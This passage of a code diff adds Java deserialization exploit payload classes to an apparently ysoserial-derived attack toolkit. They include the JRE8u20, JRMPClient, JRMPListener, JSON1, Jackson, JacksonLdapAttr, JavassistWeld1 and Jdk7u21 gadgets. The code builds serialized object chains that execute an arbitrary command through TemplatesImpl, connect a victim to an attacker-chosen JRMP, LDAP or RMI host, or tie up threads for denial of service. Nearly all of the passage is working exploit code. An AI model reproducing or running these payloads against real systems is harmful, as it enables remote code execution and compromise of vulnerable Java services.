TCClassDesc desc = new TCClassDesc("sun.reflect.annotation.AnnotationInvocationHandler", (byte) 3);
|
||||
desc.addField(new TCClassDesc.Field("memberValues", Map.class));
|
||||
desc.addField(new TCClassDesc.Field("type", Class.class));
|
||||
TCObject.ObjectData data = new TCObject.ObjectData();
|
||||
data.addData(map);
|
||||
data.addData(Templates.class);
|
||||
handler.addClassDescData(desc, data);
|
||||
return handler;
|
||||
}
|
||||
|
||||
public static TCObject makeBeanContextSupport(TCObject handler, Serialization ser) throws Exception {
|
||||
TCObject obj = new TCObject(ser);
|
||||
TCClassDesc beanContextSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextSupport");
|
||||
TCClassDesc beanContextChildSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextChildSupport");
|
||||
beanContextSupportDesc.addField(new TCClassDesc.Field("serializable", int.class));
|
||||
TCObject.ObjectData beanContextSupportData = new TCObject.ObjectData();
|
||||
beanContextSupportData.addData(Integer.valueOf(1));
|
||||
beanContextSupportData.addData(handler);
|
||||
beanContextSupportData.addData(Integer.valueOf(0), true);
|
||||
beanContextChildSupportDesc.addField(new TCClassDesc.Field("beanContextChildPeer", BeanContextChild.class));
|
||||
TCObject.ObjectData beanContextChildSupportData = new TCObject.ObjectData();
|
||||
beanContextChildSupportData.addData(obj);
|
||||
obj.addClassDescData(beanContextSupportDesc, beanContextSupportData, true);
|
||||
obj.addClassDescData(beanContextChildSupportDesc, beanContextChildSupportData);
|
||||
return obj;
|
||||
}
|
||||
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
JavaVersion v = JavaVersion.getLocalVersion();
|
||||
return (v != null && (v.major < 8 || (v.major == 8 && v.update <= 20)));
|
||||
}
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
Serialization ser = new Serialization();
|
||||
Object templates = makeTemplates(command);
|
||||
HashMap<Object, Object> map = new HashMap<Object, Object>();
|
||||
map.put("f5a5a608", templates);
|
||||
TCObject handler = makeHandler(map, ser);
|
||||
TCObject linkedHashset = new TCObject(ser);
|
||||
TCClassDesc linkedhashsetDesc = new TCClassDesc("java.util.LinkedHashSet");
|
||||
TCObject.ObjectData linkedhashsetData = new TCObject.ObjectData();
|
||||
TCClassDesc hashsetDesc = new TCClassDesc("java.util.HashSet");
|
||||
hashsetDesc.addField(new TCClassDesc.Field("fake", BeanContextSupport.class));
|
||||
TCObject.ObjectData hashsetData = new TCObject.ObjectData();
|
||||
hashsetData.addData(makeBeanContextSupport(handler, ser));
|
||||
hashsetData.addData(Integer.valueOf(10), true);
|
||||
hashsetData.addData(Float.valueOf(1.0F), true);
|
||||
hashsetData.addData(Integer.valueOf(2), true);
|
||||
hashsetData.addData(templates);
|
||||
TCObject proxy = Util.makeProxy(new Class[]{Map.class}, handler, ser);
|
||||
hashsetData.addData(proxy);
|
||||
linkedHashset.addClassDescData(linkedhashsetDesc, linkedhashsetData);
|
||||
linkedHashset.addClassDescData(hashsetDesc, hashsetData, true);
|
||||
ser.addObject(linkedHashset);
|
||||
|
||||
if (JYsoMode) {
|
||||
ser.write(System.out);
|
||||
System.exit(0);
|
||||
}
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ser.write(out);
|
||||
byte[] bytes = out.toByteArray();
|
||||
return bytes;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,72 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.utils.ByteUtil;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import com.qi4l.jndi.gadgets.utils.Serializer;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
|
||||
import javax.xml.transform.Templates;
|
||||
import java.beans.beancontext.BeanContextSupport;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.util.HashMap;
|
||||
import java.util.LinkedHashSet;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
public class JRE8u20_2 implements ObjectPayload<Object> {
|
||||
public static Class newInvocationHandlerClass() throws Exception {
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS);
|
||||
CtMethod writeObject = CtMethod.make(" private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" +
|
||||
" os.defaultWriteObject();\n" +
|
||||
" }", clazz);
|
||||
clazz.addMethod(writeObject);
|
||||
Class c = clazz.toClass();
|
||||
return c;
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
Class ihClass = newInvocationHandlerClass();
|
||||
Constructor constructor = ihClass.getDeclaredConstructor(Class.class, Map.class);
|
||||
constructor.setAccessible(true);
|
||||
InvocationHandler ih = (InvocationHandler) constructor.newInstance(Override.class, new HashMap<>());
|
||||
|
||||
Reflections.setFieldValue(ih, "type", Templates.class);
|
||||
Templates proxy = Gadgets.createProxy(ih, Templates.class);
|
||||
|
||||
BeanContextSupport b = new BeanContextSupport();
|
||||
Reflections.setFieldValue(b, "serializable", 1);
|
||||
HashMap tmpMap = new HashMap<>();
|
||||
tmpMap.put(ih, null);
|
||||
Reflections.setFieldValue(b, "children", tmpMap);
|
||||
|
||||
|
||||
LinkedHashSet set = new LinkedHashSet();//这样可以确保先反序列化 templates 再反序列化 proxy
|
||||
set.add(b);
|
||||
set.add(templates);
|
||||
set.add(proxy);
|
||||
|
||||
HashMap hm = new HashMap();
|
||||
hm.put("f5a5a608", templates);
|
||||
Reflections.setFieldValue(ih, "memberValues", hm);
|
||||
|
||||
byte[] ser = Serializer.serialize(set);
|
||||
|
||||
byte[] shoudReplace = new byte[]{0x78, 0x70, 0x77, 0x04, 0x00, 0x00, 0x00, 0x00, 0x78, 0x71};
|
||||
|
||||
int i = ByteUtil.getSubarrayIndex(ser, shoudReplace);
|
||||
ser = ByteUtil.deleteAt(ser, i); // delete 0x78
|
||||
ser = ByteUtil.deleteAt(ser, i); // delete 0x70
|
||||
|
||||
return ser;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import sun.rmi.server.UnicastRef;
|
||||
import sun.rmi.transport.LiveRef;
|
||||
import sun.rmi.transport.tcp.TCPEndpoint;
|
||||
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.server.ObjID;
|
||||
import java.rmi.server.RemoteObjectInvocationHandler;
|
||||
import java.util.Random;
|
||||
|
||||
/**
|
||||
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
|
||||
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
|
||||
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
|
||||
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
|
||||
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
|
||||
* LiveRef.read(ObjectInput, boolean)
|
||||
* UnicastRef.readExternal(ObjectInput)
|
||||
* <p>
|
||||
* Thread.start()
|
||||
* DGCClient$EndpointEntry.<init>(Endpoint)
|
||||
* DGCClient$EndpointEntry.lookup(Endpoint)
|
||||
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
|
||||
* LiveRef.read(ObjectInput, boolean)
|
||||
* UnicastRef.readExternal(ObjectInput)
|
||||
* <p>
|
||||
* Requires:
|
||||
* - JavaSE
|
||||
* <p>
|
||||
* Argument:
|
||||
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
|
||||
* <p>
|
||||
* Yields:
|
||||
* * an established JRMP connection to the endpoint (if reachable)
|
||||
* * a connected RMI Registry proxy
|
||||
* * one system thread per endpoint (DOS)
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings({
|
||||
"restriction"
|
||||
})
|
||||
@Authors({Authors.MBECHLER})
|
||||
public class JRMPClient implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
String host;
|
||||
int port;
|
||||
int sep = command.indexOf(':');
|
||||
if (sep < 0) {
|
||||
port = new Random().nextInt(65535);
|
||||
host = command;
|
||||
} else {
|
||||
host = command.substring(0, sep);
|
||||
port = Integer.valueOf(command.substring(sep + 1));
|
||||
}
|
||||
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
|
||||
TCPEndpoint te = new TCPEndpoint(host, port);
|
||||
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
|
||||
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
|
||||
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{
|
||||
Registry.class
|
||||
}, obj);
|
||||
return proxy;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.enumtypes.PayloadType;
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import sun.rmi.server.UnicastRef;
|
||||
import sun.rmi.transport.LiveRef;
|
||||
import sun.rmi.transport.tcp.TCPEndpoint;
|
||||
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.rmi.activation.Activator;
|
||||
import java.rmi.server.ObjID;
|
||||
import java.rmi.server.RemoteObjectInvocationHandler;
|
||||
import java.util.Random;
|
||||
|
||||
@Authors({"mbechler"})
|
||||
public class JRMPClient_Activator implements ObjectPayload<Activator> {
|
||||
@Override
|
||||
public Activator getObject(String command) throws Exception {
|
||||
String host;
|
||||
int port, sep = command.indexOf(':');
|
||||
if (sep < 0) {
|
||||
port = (new Random()).nextInt(65535);
|
||||
host = command;
|
||||
} else {
|
||||
host = command.substring(0, sep);
|
||||
port = Integer.valueOf(command.substring(sep + 1)).intValue();
|
||||
}
|
||||
ObjID id = new ObjID((new Random()).nextInt());
|
||||
TCPEndpoint te = new TCPEndpoint(host, port);
|
||||
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
|
||||
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
|
||||
Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient_Activator.class.getClassLoader(), new Class[]{Activator.class}, obj);
|
||||
return proxy;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import sun.rmi.server.UnicastRef;
|
||||
import sun.rmi.transport.LiveRef;
|
||||
import sun.rmi.transport.tcp.TCPEndpoint;
|
||||
|
||||
import java.rmi.server.ObjID;
|
||||
import java.rmi.server.RemoteObjectInvocationHandler;
|
||||
import java.util.Random;
|
||||
|
||||
@Authors({"mbechler"})
|
||||
public class JRMPClient_Obj implements ObjectPayload<RemoteObjectInvocationHandler> {
|
||||
@Override
|
||||
public RemoteObjectInvocationHandler getObject(String command) throws Exception {
|
||||
String host;
|
||||
int port, sep = command.indexOf(':');
|
||||
if (sep < 0) {
|
||||
port = (new Random()).nextInt(65535);
|
||||
host = command;
|
||||
} else {
|
||||
host = command.substring(0, sep);
|
||||
port = Integer.valueOf(command.substring(sep + 1)).intValue();
|
||||
}
|
||||
ObjID id = new ObjID((new Random()).nextInt());
|
||||
TCPEndpoint te = new TCPEndpoint(host, port);
|
||||
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
|
||||
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
|
||||
return obj;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import sun.rmi.server.ActivationGroupImpl;
|
||||
import sun.rmi.server.UnicastServerRef;
|
||||
|
||||
import java.rmi.server.RemoteObject;
|
||||
import java.rmi.server.RemoteRef;
|
||||
import java.rmi.server.UnicastRemoteObject;
|
||||
|
||||
/**
|
||||
* Gadget chain:
|
||||
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
|
||||
* UnicastRemoteObject.reexport() line: 266
|
||||
* UnicastRemoteObject.exportObject(Remote, int) line: 320
|
||||
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
|
||||
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
|
||||
* LiveRef.exportObject(Target) line: 147
|
||||
* TCPEndpoint.exportObject(Target) line: 411
|
||||
* TCPTransport.exportObject(Target) line: 249
|
||||
* TCPTransport.listen() line: 319
|
||||
* <p>
|
||||
* Requires:
|
||||
* - JavaSE
|
||||
* <p>
|
||||
* Argument:
|
||||
* - Port number to open listener to
|
||||
*/
|
||||
@SuppressWarnings({
|
||||
"restriction"
|
||||
})
|
||||
@Authors({Authors.MBECHLER})
|
||||
public class JRMPListener implements ObjectPayload<UnicastRemoteObject> {
|
||||
@Override
|
||||
public UnicastRemoteObject getObject(String command) throws Exception {
|
||||
int jrmpPort = Integer.parseInt(command);
|
||||
UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[]{
|
||||
RemoteRef.class
|
||||
}, new Object[]{
|
||||
new UnicastServerRef(jrmpPort)
|
||||
});
|
||||
|
||||
Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
|
||||
return uro;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,90 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import net.sf.json.JSONObject;
|
||||
import org.springframework.aop.framework.AdvisedSupport;
|
||||
|
||||
import javax.management.openmbean.*;
|
||||
import javax.xml.transform.Templates;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
/**
|
||||
* A bit more convoluted example
|
||||
* <p>
|
||||
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
|
||||
* java.lang.reflect.Method.invoke(Object, Object...)
|
||||
* org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[])
|
||||
* org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[])
|
||||
* $Proxy0.getOutputProperties()
|
||||
* java.lang.reflect.Method.invoke(Object, Object...)
|
||||
* org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[])
|
||||
* org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String)
|
||||
* org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String)
|
||||
* org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String)
|
||||
* org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String)
|
||||
* net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig)
|
||||
* net.sf.json.JSONObject._fromBean(Object, JsonConfig)
|
||||
* net.sf.json.JSONObject.fromObject(Object, JsonConfig)
|
||||
* net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig)
|
||||
* net.sf.json.JSONObject._processValue(Object, JsonConfig)
|
||||
* net.sf.json.JSONObject.processValue(Object, JsonConfig)
|
||||
* net.sf.json.JSONObject.containsValue(Object, JsonConfig)
|
||||
* net.sf.json.JSONObject.containsValue(Object)
|
||||
* javax.management.openmbean.TabularDataSupport.containsValue(CompositeData)
|
||||
* javax.management.openmbean.TabularDataSupport.equals(Object)
|
||||
* java.util.HashMap<K,V>.putVal(int, K, V, boolean, boolean)
|
||||
* java.util.HashMap<K,V>.readObject(ObjectInputStream)
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings({
|
||||
"rawtypes", "unchecked", "restriction"
|
||||
})
|
||||
@Dependencies({"net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE",
|
||||
// deep deps
|
||||
"aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6",
|
||||
"net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2",
|
||||
"org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1"})
|
||||
@Authors({Authors.MBECHLER})
|
||||
public class JSON1 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object tql;
|
||||
tql = Gadgets.createTemplatesImpl(command);
|
||||
Class ifaces = Templates.class;
|
||||
CompositeType rt = new CompositeType("a", "b",
|
||||
new String[]{"a"},
|
||||
new String[]{"a"},
|
||||
new OpenType[]{javax.management.openmbean.SimpleType.INTEGER}
|
||||
);
|
||||
TabularType tt = new TabularType("a", "b", rt, new String[]{"a"});
|
||||
TabularDataSupport t1 = new TabularDataSupport(tt);
|
||||
TabularDataSupport t2 = new TabularDataSupport(tt);
|
||||
|
||||
// we need to make payload implement composite data
|
||||
// it's very likely that there are other proxy impls that could be used
|
||||
AdvisedSupport as = new AdvisedSupport();
|
||||
as.setTarget(tql);
|
||||
InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as);
|
||||
InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt));
|
||||
InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl");
|
||||
((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler);
|
||||
Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler);
|
||||
final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces);
|
||||
|
||||
JSONObject jo = new JSONObject();
|
||||
Map m = new HashMap();
|
||||
m.put("t", cdsProxy);
|
||||
Reflections.setFieldValue(jo, "properties", m);
|
||||
Reflections.setFieldValue(jo, "properties", m);
|
||||
Reflections.setFieldValue(t1, "dataMap", jo);
|
||||
Reflections.setFieldValue(t2, "dataMap", jo);
|
||||
return Gadgets.makeMap(t1, t2);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.fasterxml.jackson.databind.node.POJONode;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import java.util.HashMap;
|
||||
|
||||
|
||||
public class Jackson implements ObjectPayload<Object> {
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object template;
|
||||
template = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
//pool.insertClassPath(new ClassClassPath(Class.forName("com.fasterxml.jackson.databind.node.BaseJsonNode")));
|
||||
try {
|
||||
CtClass ctClass = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
|
||||
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
|
||||
ctClass.removeMethod(writeReplace);
|
||||
// 将修改后的CtClass加载至当前线程的上下文类加载器中
|
||||
ctClass.toClass();
|
||||
} catch (Exception EE) {
|
||||
|
||||
}
|
||||
|
||||
|
||||
POJONode node = new POJONode(template);
|
||||
|
||||
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
|
||||
Reflections.setFieldValue(badAttributeValueExpException, "val", node);
|
||||
|
||||
HashMap hashMap = new HashMap();
|
||||
hashMap.put(template, badAttributeValueExpException);
|
||||
|
||||
return hashMap;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.fasterxml.jackson.databind.node.POJONode;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import javax.naming.CompositeName;
|
||||
import javax.naming.directory.BasicAttribute;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
public class JacksonLdapAttr implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
|
||||
if (command.toLowerCase().startsWith("jndi:")) {
|
||||
command = command.substring(5);
|
||||
}
|
||||
|
||||
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
|
||||
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
|
||||
}
|
||||
|
||||
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
|
||||
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
|
||||
ctClass.removeMethod(writeReplace);
|
||||
ctClass.toClass();
|
||||
|
||||
try {
|
||||
Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
|
||||
Constructor clazz_cons = clazz.getDeclaredConstructor(new Class[]{String.class});
|
||||
clazz_cons.setAccessible(true);
|
||||
BasicAttribute la = (BasicAttribute) clazz_cons.newInstance(new Object[]{"exp"});
|
||||
Field bcu_fi = clazz.getDeclaredField("baseCtxURL");
|
||||
bcu_fi.setAccessible(true);
|
||||
bcu_fi.set(la, command);
|
||||
CompositeName cn = new CompositeName();
|
||||
cn.add("a");
|
||||
cn.add("b");
|
||||
Field rdn_fi = clazz.getDeclaredField("rdn");
|
||||
rdn_fi.setAccessible(true);
|
||||
rdn_fi.set(la, cn);
|
||||
POJONode node = new POJONode(la);
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
Field valfield = val.getClass().getDeclaredField("val");
|
||||
valfield.setAccessible(true);
|
||||
valfield.set(val, node);
|
||||
return val;
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,79 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||
import org.jboss.weld.interceptor.builder.InterceptionModelBuilder;
|
||||
import org.jboss.weld.interceptor.builder.MethodReference;
|
||||
import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory;
|
||||
import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler;
|
||||
import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference;
|
||||
import org.jboss.weld.interceptor.reader.DefaultMethodMetadata;
|
||||
import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata;
|
||||
import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata;
|
||||
import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator;
|
||||
import org.jboss.weld.interceptor.spi.metadata.InterceptorReference;
|
||||
import org.jboss.weld.interceptor.spi.metadata.MethodMetadata;
|
||||
import org.jboss.weld.interceptor.spi.model.InterceptionModel;
|
||||
import org.jboss.weld.interceptor.spi.model.InterceptionType;
|
||||
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.util.*;
|
||||
|
||||
|
||||
/*
|
||||
by @matthias_kaiser
|
||||
*/
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final",
|
||||
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
|
||||
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"})
|
||||
@Authors({Authors.MATTHIASKAISER})
|
||||
public class JavassistWeld1 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object tpl;
|
||||
tpl = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
|
||||
ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
|
||||
InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
|
||||
|
||||
Set<InterceptionType> s = new HashSet<InterceptionType>();
|
||||
s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
|
||||
|
||||
Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
|
||||
Reflections.setAccessible(defaultMethodMetadataConstructor);
|
||||
MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
|
||||
MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
|
||||
|
||||
List list = new ArrayList();
|
||||
list.add(methodMetadata);
|
||||
Map<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();
|
||||
|
||||
hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);
|
||||
SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
|
||||
|
||||
builder.interceptAll().with(simpleInterceptorMetadata);
|
||||
|
||||
InterceptionModel model = builder.build();
|
||||
|
||||
HashMap map = new HashMap();
|
||||
map.put("ysoserial", "ysoserial");
|
||||
|
||||
DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
|
||||
|
||||
InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {
|
||||
|
||||
public Object createFor(InterceptorReference paramInterceptorReference) {
|
||||
|
||||
return tpl;
|
||||
}
|
||||
};
|
||||
|
||||
return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,101 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.JavaVersion;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
|
||||
import javax.xml.transform.Templates;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.util.HashMap;
|
||||
import java.util.LinkedHashSet;
|
||||
|
||||
|
||||
/**
|
||||
* Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
|
||||
* the same JRE version requirements.
|
||||
* <p>
|
||||
* See: https://gist.github.com/frohoff/24af7913611f8406eaf3
|
||||
* <p>
|
||||
* Call tree:
|
||||
* <p>
|
||||
* LinkedHashSet.readObject()
|
||||
* LinkedHashSet.add()
|
||||
* ...
|
||||
* TemplatesImpl.hashCode() (X)
|
||||
* LinkedHashSet.add()
|
||||
* ...
|
||||
* Proxy(Templates).hashCode() (X)
|
||||
* AnnotationInvocationHandler.invoke() (X)
|
||||
* AnnotationInvocationHandler.hashCodeImpl() (X)
|
||||
* String.hashCode() (0)
|
||||
* AnnotationInvocationHandler.memberValueHashCode() (X)
|
||||
* TemplatesImpl.hashCode() (X)
|
||||
* Proxy(Templates).equals()
|
||||
* AnnotationInvocationHandler.invoke()
|
||||
* AnnotationInvocationHandler.equalsImpl()
|
||||
* Method.invoke()
|
||||
* ...
|
||||
* TemplatesImpl.getOutputProperties()
|
||||
* TemplatesImpl.newTransformer()
|
||||
* TemplatesImpl.getTransletInstance()
|
||||
* TemplatesImpl.defineTransletClasses()
|
||||
* ClassLoader.defineClass()
|
||||
* Class.newInstance()
|
||||
* ...
|
||||
* MaliciousClass.<clinit>()
|
||||
* ...
|
||||
* Runtime.exec()
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked", "unused"})
|
||||
@Dependencies()
|
||||
@Authors({Authors.FROHOFF})
|
||||
public class Jdk7u21 implements ObjectPayload<Object> {
|
||||
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
JavaVersion v = JavaVersion.getLocalVersion();
|
||||
return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));
|
||||
}
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
// hashCode 为 0 的字符串
|
||||
String zeroHashCodeStr = "f5a5a608";
|
||||
|
||||
HashMap map = new HashMap();
|
||||
map.put(zeroHashCodeStr, "foo");
|
||||
|
||||
// 使用 AnnotationInvocationHandler 为 HashMap 创建动态代理
|
||||
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
|
||||
